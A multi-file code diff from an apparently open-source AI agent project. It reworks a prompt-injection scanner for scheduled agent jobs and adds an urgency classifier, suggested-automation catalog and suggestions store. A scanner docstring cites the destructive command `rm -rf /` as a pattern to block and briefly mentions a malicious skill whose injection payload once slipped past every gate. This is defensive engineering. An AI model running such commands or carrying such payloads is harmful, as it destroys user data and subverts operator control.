+ has_injected_data = False
# Run data-collection script if configured, inject output as context.
script_path = job.get("script")
@@ -1137,6 +1067,7 @@ def _build_job_prompt(job: dict, prerun_script: Optional[tuple] = None) -> str:
f"```\n{script_output}\n```\n\n"
f"{prompt}"
)
+ has_injected_data = True
else:
# Script produced no output — nothing to report, skip AI call.
return None
@@ -1147,6 +1078,7 @@ def _build_job_prompt(job: dict, prerun_script: Optional[tuple] = None) -> str:
f"```\n{script_output}\n```\n\n"
f"{prompt}"
)
+ has_injected_data = True
# Inject output from referenced cron jobs as context.
context_from = job.get("context_from")
@@ -1189,6 +1121,7 @@ def _build_job_prompt(job: dict, prerun_script: Optional[tuple] = None) -> str:
f"```\n{latest_output}\n```\n\n"
f"{prompt}"
)
+ has_injected_data = True
else:
continue # silent skip — empty output
except (OSError, PermissionError) as e:
@@ -1217,7 +1150,13 @@ def _build_job_prompt(job: dict, prerun_script: Optional[tuple] = None) -> str:
skill_names = [str(name).strip() for name in skills if str(name).strip()]
if not skill_names:
- return _scan_assembled_cron_prompt(prompt, job, has_skills=False)
+ return _scan_assembled_cron_prompt(
+ prompt,
+ job,
+ has_skills=False,
+ has_injected_data=has_injected_data,
+ user_prompt=user_prompt,
+ )
from tools.skills_tool import skill_view
from tools.skill_usage import bump_use
@@ -1294,7 +1233,14 @@ def _build_job_prompt(job: dict, prerun_script: Optional[tuple] = None) -> str:
return _scan_assembled_cron_prompt("\n".join(parts), job, has_skills=True)
-def _scan_assembled_cron_prompt(assembled: str, job: dict, *, has_skills: bool = False) -> str:
+def _scan_assembled_cron_prompt(
+ assembled: str,
+ job: dict,
+ *,
+ has_skills: bool = False,
+ has_injected_data: bool = False,
+ user_prompt: Optional[str] = None,
+) -> str:
"""Scan the fully-assembled cron prompt for injection patterns. Raises
``CronPromptInjectionBlocked`` when a match fires so ``run_job`` can
surface a clear refusal to the operator.
@@ -1305,29 +1251,45 @@ def _scan_assembled_cron_prompt(assembled: str, job: dict, *, has_skills: bool =
(auto-approves tool calls), a malicious skill carrying an injection
payload bypassed every gate.
- Two pattern tiers:
-
- - When ``has_skills=False`` (no skills attached) the assembled prompt
- is essentially the user prompt + the cron hint, so the STRICT
- ``_scan_cron_prompt`` patterns apply.
- - When ``has_skills=True`` the assembled prompt includes loaded skill
- markdown — often security docs / runbooks that *describe* attack
- commands in prose. The LOOSER ``_scan_cron_skill_assembled``
- pattern set is used: only unambiguous prompt-injection directives
- block; command-shape patterns are dropped and invisible unicode is
- sanitized (stripped + logged) rather than blocked, to avoid
- false-positives that permanently kill a job. Skill bodies are
- vetted at install time by ``skills_guard.py``.
+ Two pattern tiers, selected by what the assembled prompt CONTAINS,
+ not just whether skills are attached:
+
+ - When the assembled prompt is essentially the user prompt + the cron
+ hint (no skills, no injected data), the STRICT ``_scan_cron_prompt``
+ patterns apply: a bare ``rm -rf /`` in a small directive prompt is a
+ smoking gun, not prose.
+ - When the assembled prompt includes runtime-loaded content — skill
+ markdown (``has_skills=True``) or DATA injected from a job script's
+ stdout / an upstream job's output (``has_injected_data=True``) — the
+ LOOSER ``_scan_cron_skill_assembled`` pattern set is used: only
+ unambiguous prompt-injection directives block; command-shape
+ patterns are dropped and invisible unicode is sanitized (stripped +
+ logged) rather than blocked, to avoid false-positives that
+ permanently kill a job. Skill bodies are vetted at install time by
+ ``skills_guard.py``; script output is produced by operator-authored
+ code, the same trust class — and data feeds (e.g. a triage bot
+ ingesting bug reports) legitimately quote dangerous commands.
+
+ When the looser tier is selected because of injected data only,
+ ``user_prompt`` (the raw, pre-assembly prompt) is additionally scanned
+ with the STRICT set so the user-authored surface keeps the full
+ create/update-time guarantee at runtime (defense-in-depth for legacy
+ jobs that predate the create-time scanner).
"""
from tools.cronjob_tools import _scan_cron_prompt, _scan_cron_skill_assembled
- if has_skills:
- # Skill content is install-time vetted by skills_guard.py. Invisible
- # unicode is sanitized (not blocked) so a stray zero-width space in a
- # skill code example can't permanently kill the job; the cleaned
+ if has_skills or has_injected_data:
+ # Runtime-loaded content (vetted skill markdown and/or data from
+ # operator-authored scripts) legitimately contains command-shape
+ # strings. Invisible unicode is sanitized (not blocked) so a stray
+ # zero-width space can't permanently kill the job; the cleaned
# prompt is what actually runs.
cleaned, scan_error = _scan_cron_skill_assembled(assembled)
assembled = cleaned
+ if not scan_error and not has_skills and user_prompt:
+ # Data-injection path: keep the strict guarantee on the
+ # user-authored prompt itself.
+ scan_error = _scan_cron_prompt(user_prompt)
else:
scan_error = _scan_cron_prompt(assembled)
if scan_error:
@@ -1342,13 +1304,6 @@ def _scan_assembled_cron_prompt(assembled: str, job: dict, *, has_skills: bool =
def run_job(job: dict) -> tuple[bool, str, str, Optional[str]]:
- """Execute a single cron job, applying any per-job profile override."""
- job_id = job["id"]
- with _job_profile_context(job_id, job.get("profile")):
- return _run_job_impl(job)
-
-
-def _run_job_impl(job: dict) -> tuple[bool, str, str, Optional[str]]:
"""
Execute a single cron job.
@@ -1585,9 +1540,8 @@ def _run_job_impl(job: dict) -> tuple[bool, str, str, Optional[str]]:
# .cursorrules from the job's project dir, AND
# - the terminal, file, and code-exec tools run commands from there.
#
- # tick() serializes jobs that mutate process-global runtime state (workdir
- # and/or profile jobs) outside the parallel pool, so mutating
- # os.environ["TERMINAL_CWD"] here is safe for those jobs. For workdir-less
+ # tick() serializes workdir-jobs outside the parallel pool, so mutating
+ # os.environ["TERMINAL_CWD"] here is safe for those jobs. For workdir-less
# jobs we leave TERMINAL_CWD untouched — preserves the original behaviour
# (skip_context_files=True, tools use whatever cwd the scheduler has).
_job_workdir = (job.get("workdir") or "").strip() or None
@@ -2134,21 +2088,12 @@ def _process_job(job: dict) -> bool:
mark_job_run(job["id"], False, str(e))
return False
- # Partition due jobs: jobs with a per-job workdir and/or profile touch
- # process-global runtime state inside run_job. Workdir jobs temporarily
- # set os.environ["TERMINAL_CWD"]; profile jobs use a context-local
- # Hermes home override, scheduler _hermes_home hook, and temporary
- # profile .env load into os.environ with snapshot/restore. They MUST run
- # sequentially to avoid corrupting each other. Jobs without either field
- # stay parallel-safe.
- sequential_jobs = [
- j for j in due_jobs
- if (j.get("workdir") or "").strip() or (j.get("profile") or "").strip()
- ]
- parallel_jobs = [
- j for j in due_jobs
- if not ((j.get("workdir") or "").strip() or (j.get("profile") or "").strip())
- ]
+ # Partition due jobs: those with a per-job workdir mutate
+ # os.environ["TERMINAL_CWD"] inside run_job, which is process-global —
+ # so they MUST run sequentially to avoid corrupting each other. Jobs
+ # without a workdir leave env untouched and stay parallel-safe.
+ sequential_jobs = [j for j in due_jobs if (j.get("workdir") or "").strip()]
+ parallel_jobs = [j for j in due_jobs if not (j.get("workdir") or "").strip()]
_results: list = []
_all_futures: list = []
@@ -2177,9 +2122,9 @@ def _run_and_release(j=job, ctx=_ctx):
return pool.submit(_run_and_release)
- # Sequential pass for env/context-mutating (workdir/profile) jobs.
+ # Sequential pass for env-mutating (workdir) jobs.
# Queued to a persistent single-thread pool so they run one at a time
- # WITHOUT blocking the ticker thread — a long workdir/profile job no
+ # WITHOUT blocking the ticker thread — a long workdir job no
# longer starves the rest of the schedule (same fix as the parallel
# pass, just serialized). The in-flight guard prevents a still-running
# job from being re-queued on the next tick.
diff --git a/cron/scripts/__init__.py b/cron/scripts/__init__.py
new file mode 100644
index 000000000000..8dc1a5c3c510
--- /dev/null
+++ b/cron/scripts/__init__.py
@@ -0,0 +1 @@
+"""Scripts shipped with the cron subsystem (runnable via ``python3 -m cron.scripts.``)."""
diff --git a/cron/scripts/classify_items.py b/cron/scripts/classify_items.py
new file mode 100644
index 000000000000..ba0cd42d4b44
--- /dev/null
+++ b/cron/scripts/classify_items.py
@@ -0,0 +1,226 @@
+#!/usr/bin/env python3
+"""Classify candidate items by urgency/importance and emit only the urgent ones.
+
+The proactive-monitor pattern: a fetch step (a watcher script, an inbox dump, a
+feed) produces a list of candidate items; this script scores each with a cheap
+LLM and prints ONLY the items at or above a threshold. Below-threshold runs
+print nothing, so a cron job wrapping this stays silent unless something
+actually matters -- the classic urgency-monitor pattern (fetch -> classify
+urgency -> surface only what's above the bar).
+
+Design choices:
+ * Uses Hermes' auxiliary client with task="monitor", so the classifier model
+ is configured once in config.yaml (auxiliary.monitor.{provider,model}) and
+ can be a cheap fast model independent of the main chat model.
+ * Reads items as JSON (a list of objects) from stdin or --input-file.
+ * One LLM call scores the whole batch (cheap, single round-trip) and returns
+ structured scores; we filter locally.
+ * Empty result -> empty stdout -> the cron job's [SILENT]/empty-stdout path
+ suppresses delivery. No spam on quiet intervals.
+
+Usage (standalone):
+ cat items.json | python classify_items.py --threshold 7 \
+ --criteria "Urgent if it needs a reply today or is from my manager/family"
+
+Usage (wired to a watcher via cron, agent mode):
+ Ask the agent: "Every 10 minutes, run watch_http_json.py for my inbox feed,
+ pipe its JSON into classify_items.py with my urgency criteria, and deliver
+ whatever it prints. Stay silent if it prints nothing."
+
+Item schema (flexible): each item is an object; the classifier sees the whole
+object. A "title"/"subject"/"summary"/"text" field helps it judge. An "id"
+field (any of id/guid/message_id/url) is echoed back so duplicates can be
+deduped upstream.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+from typing import Any, Dict, List, Optional
+
+
+def _eprint(*args: Any) -> None:
+ print(*args, file=sys.stderr)
+
+
+def _load_items(input_file: Optional[str]) -> List[Dict[str, Any]]:
+ raw = ""
+ if input_file:
+ with open(input_file, encoding="utf-8") as f:
+ raw = f.read()
+ else:
+ raw = sys.stdin.read()
+ raw = raw.strip()
+ if not raw:
+ return []
+ try:
+ data = json.loads(raw)
+ except json.JSONDecodeError as e:
+ _eprint(f"classify_items: input is not valid JSON: {e}")
+ sys.exit(2)
+ if isinstance(data, dict):
+ # Allow {"items": [...]} or a single object.
+ if isinstance(data.get("items"), list):
+ return data["items"]
+ return [data]
+ if isinstance(data, list):
+ return [x for x in data if isinstance(x, dict)]
+ _eprint("classify_items: expected a JSON list or {items: [...]}")
+ sys.exit(2)
+
+
+def _item_id(item: Dict[str, Any], index: int) -> str:
+ for key in ("id", "guid", "message_id", "url", "link"):
+ val = item.get(key)
+ if val:
+ return str(val)
+ return f"item-{index}"
+
+
+_CLASSIFY_INSTRUCTIONS = (
+ "You are an urgency classifier for a proactive assistant. You will be given "
+ "a numbered list of items and the user's importance criteria. Score EACH "
+ "item from 0 (ignore entirely) to 10 (interrupt the user now). Return ONLY a "
+ "JSON array, one object per item, in the same order: "
+ '[{"index": , "score": , "reason": ""}]. '
+ "No prose, no markdown fences. Be conservative: most items should score low. "
+ "Only score high when the item clearly meets the user's criteria."
+)
+
+
+def _build_prompt(items: List[Dict[str, Any]], criteria: str) -> str:
+ lines = [f"USER IMPORTANCE CRITERIA:\n{criteria}\n", "ITEMS:"]
+ for i, item in enumerate(items):
+ # Show a compact view; the model sees the salient fields.
+ view = {
+ k: item[k]
+ for k in ("title", "subject", "summary", "text", "body", "from", "sender", "url")
+ if k in item
+ }
+ if not view:
+ view = item # fall back to the whole object
+ lines.append(f"[{i}] {json.dumps(view, ensure_ascii=False)[:1200]}")
+ lines.append(
+ "\nReturn the JSON array of scores now (one object per item, same order)."
+ )
+ return "\n".join(lines)
+
+
+def _parse_scores(content: str, n_items: int) -> Dict[int, Dict[str, Any]]:
+ text = (content or "").strip()
+ # Tolerate accidental markdown fences.
+ if text.startswith("```"):
+ text = text.strip("`")
+ if "\n" in text:
+ text = text.split("\n", 1)[1]
+ try:
+ arr = json.loads(text)
+ except json.JSONDecodeError:
+ # Last-ditch: find the first [...] block.
+ start = text.find("[")
+ end = text.rfind("]")
+ if start >= 0 and end > start:
+ try:
+ arr = json.loads(text[start : end + 1])
+ except json.JSONDecodeError:
+ _eprint("classify_items: could not parse classifier output")
+ return {}
+ else:
+ _eprint("classify_items: classifier returned no JSON array")
+ return {}
+ out: Dict[int, Dict[str, Any]] = {}
+ if isinstance(arr, list):
+ for obj in arr:
+ if not isinstance(obj, dict):
+ continue
+ idx = obj.get("index")
+ if isinstance(idx, int) and 0 <= idx < n_items:
+ out[idx] = obj
+ return out
+
+
+def main() -> int:
+ parser = argparse.ArgumentParser(description="Classify items by urgency; emit only urgent ones.")
+ parser.add_argument("--criteria", required=True, help="Plain-language importance criteria.")
+ parser.add_argument("--threshold", type=int, default=7, help="Minimum score (0-10) to surface. Default 7.")
+ parser.add_argument("--input-file", default=None, help="Read items JSON from this file instead of stdin.")
+ parser.add_argument("--format", choices=["text", "json"], default="text", help="Output format for surfaced items.")
+ args = parser.parse_args()
+
+ items = _load_items(args.input_file)
+ if not items:
+ # Nothing to classify -> silent. This is the common quiet-interval case.
+ return 0
+
+ # Import here so --help works without the package importable.
+ try:
+ from agent.auxiliary_client import call_llm
+ except Exception as e: # pragma: no cover - import guard
+ _eprint(f"classify_items: cannot import auxiliary client: {e}")
+ return 3
+
+ prompt = _build_prompt(items, args.criteria)
+ try:
+ resp = call_llm(
+ task="monitor",
+ messages=[{"role": "user", "content": prompt}],
+ max_tokens=1024,
+ temperature=0,
+ )
+ content = resp.choices[0].message.content
+ if not isinstance(content, str):
+ content = str(content) if content else ""
+ except Exception as e:
+ # Classification failure is NOT silent -- surface it so a broken monitor
+ # doesn't quietly swallow important items. Non-zero exit -> cron alerts.
+ _eprint(f"classify_items: classifier call failed: {e}")
+ return 4
+
+ scores = _parse_scores(content, len(items))
+ surfaced = []
+ for i, item in enumerate(items):
+ s = scores.get(i)
+ score = s.get("score") if isinstance(s, dict) else None
+ if isinstance(score, int) and score >= args.threshold:
+ surfaced.append((i, item, s))
+
+ if not surfaced:
+ # Below threshold -> silent. Empty stdout; cron suppresses delivery.
+ return 0
+
+ if args.format == "json":
+ out = [
+ {
+ "id": _item_id(item, i),
+ "score": s.get("score"),
+ "reason": s.get("reason", ""),
+ "item": item,
+ }
+ for (i, item, s) in surfaced
+ ]
+ print(json.dumps(out, ensure_ascii=False, indent=2))
+ else:
+ blocks = []
+ for (i, item, s) in surfaced:
+ title = (
+ item.get("title")
+ or item.get("subject")
+ or item.get("summary")
+ or _item_id(item, i)
+ )
+ url = item.get("url") or item.get("link") or ""
+ reason = s.get("reason", "")
+ block = f"## [{s.get('score')}/10] {title}"
+ if url:
+ block += f"\n{url}"
+ if reason:
+ block += f"\n_{reason}_"
+ blocks.append(block)
+ print("\n\n".join(blocks))
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
diff --git a/cron/suggestion_catalog.py b/cron/suggestion_catalog.py
new file mode 100644
index 000000000000..deacf1e13493
--- /dev/null
+++ b/cron/suggestion_catalog.py
@@ -0,0 +1,154 @@
+"""Curated catalog of starter cron-job suggestions.
+
+These are the built-in automations Hermes can offer a new user out of the box —
+the ``catalog`` source of the unified suggestion surface. Each entry is a
+ready-to-run ``cron.jobs.create_job`` spec wrapped as a suggestion; the user
+accepts via ``/suggestions``. Nothing here auto-schedules.
+
+The "important-mail monitor" entry is where the old proactive-monitor engine
+lives now: its ``classify_items.py`` (poll a source -> LLM-score urgency ->
+surface only above-threshold) is ONE catalog automation, not a standalone
+feature.
+
+Adding a catalog entry: append a CatalogEntry. Keep prompts self-contained
+(cron jobs run with no chat context) and schedules sensible. The ``job_spec``
+is passed verbatim to ``create_job`` on accept.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any, Callable, Dict, List, Optional
+
+__all__ = ["CatalogEntry", "CATALOG", "seed_catalog_suggestions", "classify_items_script_path"]
+
+
+def classify_items_script_path() -> str:
+ """Absolute path to the urgency classifier script shipped with cron/."""
+ return str((Path(__file__).resolve().parent / "scripts" / "classify_items.py"))
+
+
+@dataclass(frozen=True)
+class CatalogEntry:
+ """A curated starter automation offered as a suggestion."""
+
+ key: str # stable dedup key (never re-offered once dismissed)
+ title: str
+ description: str
+ job_spec: Dict[str, Any] # kwargs for cron.jobs.create_job
+
+
+# The curated set. Schedules use the cron/interval syntax create_job accepts.
+CATALOG: List[CatalogEntry] = [
+ CatalogEntry(
+ key="catalog:daily-briefing",
+ title="Daily briefing",
+ description="Every morning at 8am, a short briefing: today's calendar, "
+ "weather, and anything urgent waiting on you.",
+ job_spec={
+ "prompt": (
+ "Produce a concise morning briefing for the user: today's "
+ "calendar events, the local weather, and any urgent items "
+ "(unread important email, due tasks). Keep it short and "
+ "scannable. If you have no connected data sources, give a brief "
+ "general good-morning with the date and offer to connect "
+ "calendar/email."
+ ),
+ "schedule": "0 8 * * *",
+ "name": "Daily briefing",
+ "deliver": "origin",
+ },
+ ),
+ CatalogEntry(
+ key="catalog:important-mail-monitor",
+ title="Important-mail monitor",
+ description="Check your inbox periodically and ping you ONLY about mail "
+ "that actually needs attention — never the newsletters.",
+ job_spec={
+ "prompt": (
+ "Check the user's inbox for new messages since the last run. "
+ "For each candidate, judge urgency against this rule: surface "
+ "only mail that needs a reply today, is from a manager/family "
+ "member, or mentions a deadline. Pipe candidates through the "
+ "urgency classifier (run `python3 -m cron.scripts.classify_items "
+ "--threshold 7 --criteria ...` from the hermes-agent install — "
+ "resolve the script path at run time, do not assume a fixed "
+ "location) and deliver ONLY what it returns. If nothing "
+ "clears the bar, respond with [SILENT] so the user is not "
+ "pinged. Requires a connected mail source; if none is "
+ "configured, explain how to connect one and then stop."
+ ),
+ "schedule": "every 30m",
+ "name": "Important-mail monitor",
+ "deliver": "origin",
+ },
+ ),
+ CatalogEntry(
+ key="catalog:weekly-review",
+ title="Weekly review",
+ description="Every Sunday evening, a recap of the week: what got done, "
+ "what's still open, and what's coming up next week.",
+ job_spec={
+ "prompt": (
+ "Produce a weekly review for the user: summarize what was "
+ "accomplished this week, list still-open items, and preview "
+ "next week's calendar. Pull from whatever sources are connected "
+ "(calendar, task tools, recent conversations). Keep it tight."
+ ),
+ "schedule": "0 18 * * 0",
+ "name": "Weekly review",
+ "deliver": "origin",
+ },
+ ),
+ CatalogEntry(
+ key="catalog:standup-reminder",
+ title="Workday start reminder",
+ description="A weekday nudge at 9am with your day's agenda and top "
+ "priorities, so you start focused.",
+ job_spec={
+ "prompt": (
+ "Give the user a brief weekday start-of-day nudge: their "
+ "calendar for today and the 1-3 highest-priority things to "
+ "focus on, inferred from recent context and any task tools. "
+ "Encouraging, short, one message."
+ ),
+ "schedule": "0 9 * * 1-5",
+ "name": "Workday start reminder",
+ "deliver": "origin",
+ },
+ ),
+]
+
+
+def seed_catalog_suggestions(
+ *,
+ add_fn: Optional[Callable[..., Optional[Dict[str, Any]]]] = None,
+ keys: Optional[List[str]] = None,
+) -> List[Dict[str, Any]]:
+ """Register catalog entries as pending suggestions.
+
+ ``add_fn`` defaults to ``cron.suggestions.add_suggestion`` (injectable for
+ tests). ``keys`` restricts to specific catalog entries; omit to seed all.
+ Entries already dismissed/accepted (by dedup key) or beyond the pending cap
+ are skipped by the store, so re-seeding is safe and idempotent. Returns the
+ list of suggestion records actually created.
+ """
+ if add_fn is None:
+ from cron.suggestions import add_suggestion as add_fn # type: ignore[assignment]
+
+ wanted = set(keys) if keys else None
+ created: List[Dict[str, Any]] = []
+ for entry in CATALOG:
+ if wanted is not None and entry.key not in wanted:
+ continue
+ rec = add_fn(
+ title=entry.title,
+ description=entry.description,
+ source="catalog",
+ job_spec=dict(entry.job_spec),
+ dedup_key=entry.key,
+ )
+ if rec is not None:
+ created.append(rec)
+ return created
diff --git a/cron/suggestions.py b/cron/suggestions.py
new file mode 100644
index 000000000000..636a0335cc32
--- /dev/null
+++ b/cron/suggestions.py
@@ -0,0 +1,257 @@
+"""Suggested cron jobs — proposed automations the user accepts with one tap.
+
+A *suggestion* is a ready-to-run cron job spec that Hermes surfaces to the
+user, who accepts it (creates the real cron job) or dismisses it (latched so
+it is never re-offered). This is the single surface every automation proposal
+flows through, regardless of where it came from:
+
+ * ``catalog`` — a curated starter automation (daily briefing, important-mail
+ monitor, weekly digest, ...).
+ * ``blueprint`` — the user installed a skill that carries a ``blueprint:`` block
+ (see ``tools/blueprints.py``); installing it registers a
+ suggestion instead of auto-scheduling.
+ * ``usage`` — the background self-improvement review noticed a recurring
+ ask that a scheduled job would serve.
+ * ``integration`` — the user connected an account (Gmail, GitHub, ...) and
+ the obvious automations for that surface are offered.
+
+Accepting a suggestion just calls the existing ``cron.jobs.create_job`` with
+the stored ``job_spec`` — there is NO second job engine. Suggestions never
+auto-create jobs; acceptance is always explicit (consent-first). Dismissed
+suggestions latch by a stable ``dedup_key`` so the same proposal is not
+re-offered after the user says no.
+
+Storage mirrors ``cron/jobs.py``: ``~/.hermes/cron/suggestions.json``, atomic
+writes, an in-process lock, and 0600 perms.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import os
+import tempfile
+import threading
+import uuid
+from pathlib import Path
+from typing import Any, Dict, List, Optional
+
+from hermes_constants import get_hermes_home
+from hermes_time import now as _hermes_now
+from utils import atomic_replace
+
+logger = logging.getLogger(__name__)
+
+CRON_DIR = get_hermes_home().resolve() / "cron"
+SUGGESTIONS_FILE = CRON_DIR / "suggestions.json"
+
+# In-process lock protecting load->modify->save cycles (the background review
+# fork and the main agent can both write).
+_suggestions_lock = threading.Lock()
+
+# Cap pending suggestions so the list never becomes a nag wall. When full,
+# new suggestions are dropped (the user should clear the backlog first).
+MAX_PENDING = 5
+
+VALID_SOURCES = frozenset({"catalog", "blueprint", "usage", "integration"})
+_STATUS_PENDING = "pending"
+_STATUS_ACCEPTED = "accepted"
+_STATUS_DISMISSED = "dismissed"
+
+
+def _secure_file(path: Path) -> None:
+ try:
+ os.chmod(path, 0o600)
+ except OSError:
+ pass
+
+
+def _ensure_dir() -> None:
+ CRON_DIR.mkdir(parents=True, exist_ok=True)
+
+
+def _load_raw() -> Dict[str, Any]:
+ if not SUGGESTIONS_FILE.exists():
+ return {"suggestions": []}
+ try:
+ with open(SUGGESTIONS_FILE, "r", encoding="utf-8") as f:
+ data = json.load(f)
+ except (json.JSONDecodeError, OSError) as e:
+ logger.warning("suggestions.json unreadable (%s); starting empty", e)
+ return {"suggestions": []}
+ if isinstance(data, dict) and isinstance(data.get("suggestions"), list):
+ return data
+ if isinstance(data, list):
+ return {"suggestions": data}
+ logger.warning("suggestions.json malformed; starting empty")
+ return {"suggestions": []}
+
+
+def _save_raw(suggestions: List[Dict[str, Any]]) -> None:
+ _ensure_dir()
+ fd, tmp_path = tempfile.mkstemp(dir=str(SUGGESTIONS_FILE.parent), suffix=".tmp", prefix=".sugg_")
+ try:
+ with os.fdopen(fd, "w", encoding="utf-8") as f:
+ json.dump(
+ {"suggestions": suggestions, "updated_at": _hermes_now().isoformat()},
+ f,
+ indent=2,
+ )
+ f.flush()
+ os.fsync(f.fileno())
+ atomic_replace(tmp_path, SUGGESTIONS_FILE)
+ _secure_file(SUGGESTIONS_FILE)
+ except BaseException:
+ try:
+ os.unlink(tmp_path)
+ except OSError:
+ pass
+ raise
+
+
+def load_suggestions() -> List[Dict[str, Any]]:
+ """Return all suggestion records (any status)."""
+ return _load_raw().get("suggestions", [])
+
+
+def list_pending() -> List[Dict[str, Any]]:
+ """Return pending suggestions in creation order (oldest first)."""
+ return [s for s in load_suggestions() if s.get("status") == _STATUS_PENDING]
+
+
+def add_suggestion(
+ *,
+ title: str,
+ description: str,
+ source: str,
+ job_spec: Dict[str, Any],
+ dedup_key: str,
+) -> Optional[Dict[str, Any]]:
+ """Register a pending suggestion. Returns the record, or None if skipped.
+
+ Skipped when: the source is unknown, the same ``dedup_key`` was already
+ dismissed or accepted (never re-offer), an identical pending suggestion
+ exists, or the pending list is full (``MAX_PENDING``).
+
+ ``job_spec`` is a dict of kwargs for ``cron.jobs.create_job`` — accepting
+ the suggestion passes it straight through, so there is no second schema to
+ keep in sync.
+ """
+ if source not in VALID_SOURCES:
+ raise ValueError(f"unknown suggestion source: {source!r}")
+ if not title.strip() or not dedup_key.strip():
+ raise ValueError("title and dedup_key are required")
+
+ with _suggestions_lock:
+ suggestions = _load_raw().get("suggestions", [])
+
+ # Never re-offer something the user already saw and decided on, and
+ # never duplicate a still-pending proposal.
+ for existing in suggestions:
+ if existing.get("dedup_key") == dedup_key:
+ if existing.get("status") in (_STATUS_DISMISSED, _STATUS_ACCEPTED):
+ return None
+ if existing.get("status") == _STATUS_PENDING:
+ return None
+
+ pending_count = sum(1 for s in suggestions if s.get("status") == _STATUS_PENDING)
+ if pending_count >= MAX_PENDING:
+ logger.info("Suggestion backlog full (%d); dropping %r", MAX_PENDING, title)
+ return None
+
+ record = {
+ "id": uuid.uuid4().hex[:12],
+ "title": title.strip(),
+ "description": description.strip(),
+ "source": source,
+ "job_spec": job_spec,
+ "dedup_key": dedup_key.strip(),
+ "status": _STATUS_PENDING,
+ "created_at": _hermes_now().isoformat(),
+ }
+ suggestions.append(record)
+ _save_raw(suggestions)
+ return record
+
+
+def get_suggestion(ref: str) -> Optional[Dict[str, Any]]:
+ """Resolve a suggestion by id, 1-based pending index, or title (exact)."""
+ suggestions = load_suggestions()
+ # By id.
+ for s in suggestions:
+ if s.get("id") == ref:
+ return s
+ # By 1-based pending index.
+ if ref.isdigit():
+ pending = [s for s in suggestions if s.get("status") == _STATUS_PENDING]
+ idx = int(ref) - 1
+ if 0 <= idx < len(pending):
+ return pending[idx]
+ # By exact title (case-insensitive).
+ for s in suggestions:
+ if s.get("title", "").lower() == ref.lower():
+ return s
+ return None
+
+
+def _set_status(suggestion_id: str, status: str) -> bool:
+ with _suggestions_lock:
+ suggestions = _load_raw().get("suggestions", [])
+ changed = False
+ for s in suggestions:
+ if s.get("id") == suggestion_id:
+ s["status"] = status
+ s["resolved_at"] = _hermes_now().isoformat()
+ changed = True
+ break
+ if changed:
+ _save_raw(suggestions)
+ return changed
+
+
+def dismiss_suggestion(ref: str) -> bool:
+ """Dismiss a suggestion (latched — never re-offered for its dedup_key)."""
+ s = get_suggestion(ref)
+ if not s:
+ return False
+ return _set_status(s["id"], _STATUS_DISMISSED)
+
+
+def accept_suggestion(ref: str, *, origin: Optional[Dict[str, Any]] = None) -> Optional[Dict[str, Any]]:
+ """Accept a suggestion: create the real cron job from its ``job_spec``.
+
+ Returns the created cron job dict, or None if the suggestion isn't found /
+ not pending. The job_spec is passed straight to ``cron.jobs.create_job``;
+ an ``origin`` (platform/chat) is merged so "origin" delivery routes back to
+ the chat where the user accepted.
+ """
+ s = get_suggestion(ref)
+ if not s or s.get("status") != _STATUS_PENDING:
+ return None
+
+ from cron.jobs import create_job
+
+ spec = dict(s.get("job_spec") or {})
+ if origin is not None and "origin" not in spec:
+ spec["origin"] = origin
+
+ job = create_job(**spec)
+ _set_status(s["id"], _STATUS_ACCEPTED)
+ return job
+
+
+def clear_resolved() -> int:
+ """Drop accepted/dismissed records from disk. Returns the count removed.
+
+ Pending suggestions and the dedup memory of dismissed ones are the only
+ things that matter long-term, but dismissed records must be RETAINED for
+ their dedup_key (so they aren't re-offered). This only prunes ACCEPTED
+ records, which have served their purpose once the job exists.
+ """
+ with _suggestions_lock:
+ suggestions = _load_raw().get("suggestions", [])
+ kept = [s for s in suggestions if s.get("status") != _STATUS_ACCEPTED]
+ removed = len(suggestions) - len(kept)
+ if removed:
+ _save_raw(kept)
+ return removed
diff --git a/docker/stage2-hook.sh b/docker/stage2-hook.sh
index de6b6ce3ad25..a63879ea34c8 100755
--- a/docker/stage2-hook.sh
+++ b/docker/stage2-hook.sh
@@ -262,6 +262,14 @@ if [ -d "$HERMES_HOME/profiles" ]; then
chown -R hermes:hermes "$HERMES_HOME/profiles" 2>/dev/null || true
fi
+# Always reset ownership of $HERMES_HOME/cron on every boot for the same
+# docker-exec/root-write reason as profiles/. The cron scheduler state
+# (jobs.json) must stay readable by the unprivileged hermes runtime even
+# after root-context maintenance commands or scheduler writes.
+if [ -d "$HERMES_HOME/cron" ]; then
+ chown -R hermes:hermes "$HERMES_HOME/cron" 2>/dev/null || true
+fi
+
# Reset ownership of hermes-owned top-level state files on every boot.
# The targeted data-volume chown above only covers hermes-owned
# *subdirectories*; loose state files living directly under $HERMES_HOME
diff --git a/docs/design/profile-builder.md b/docs/design/profile-builder.md
new file mode 100644
index 000000000000..26da98ffeb0e
--- /dev/null
+++ b/docs/design/profile-builder.md
@@ -0,0 +1,144 @@
+# Profile Builder — Dashboard-Native, Full-Featured Profile Creation
+
+Status: design proposal (not yet implemented)
+Author: drafted for Teknium
+Supersedes: PR #31781 (prompt_toolkit `hermes profile wizard`)
+
+## Why this, not the CLI wizard
+
+PR #31781 added a keyboard-driven `hermes profile wizard` in the terminal.
+The decision is to **not** build the profile-creation experience in the CLI.
+The dashboard already owns mature, separate pages for every element a profile
+needs, and a profile is just a HERMES_HOME directory — so the dashboard is the
+right home for a full-featured builder, and it can reuse everything that
+already exists.
+
+A profile = a full `~/.hermes/profiles//` directory with its own:
+- `config.yaml` — holds `model`/`provider`, `mcp_servers`, enabled skills
+- `skills/` — physical SKILL.md files (built-in seed + optional + hub installs)
+- `.env` — secrets
+- `SOUL.md` / `USER.md` — identity
+
+So per-profile scoping of Model, MCPs, and Skills is **native** — no data-model
+change needed. The gap is purely UX: creation today is a thin modal
+(name + clone + model + description), and you can only compose skills/MCPs
+*after* the profile exists, by visiting other pages and remembering to scope
+them.
+
+## What already exists (reuse, don't rebuild)
+
+| Element | Existing page | Existing API | Profile-scopable? |
+|---|---|---|---|
+| Name / Description | ProfilesPage create modal | `POST /api/profiles` (`create_profile`) | yes (args) |
+| Model + Provider | ModelsPage | `_write_profile_model(profile_dir, …)` | yes — HERMES_HOME override, already wired into create endpoint |
+| MCPs | McpPage | `mcp_config._save_mcp_server` + `/api/mcp/catalog` | yes — wrap with HERMES_HOME override |
+| Skills (built-in/optional) | SkillsPage | `GET /api/skills`, `/api/skills/toggle` | yes — config write |
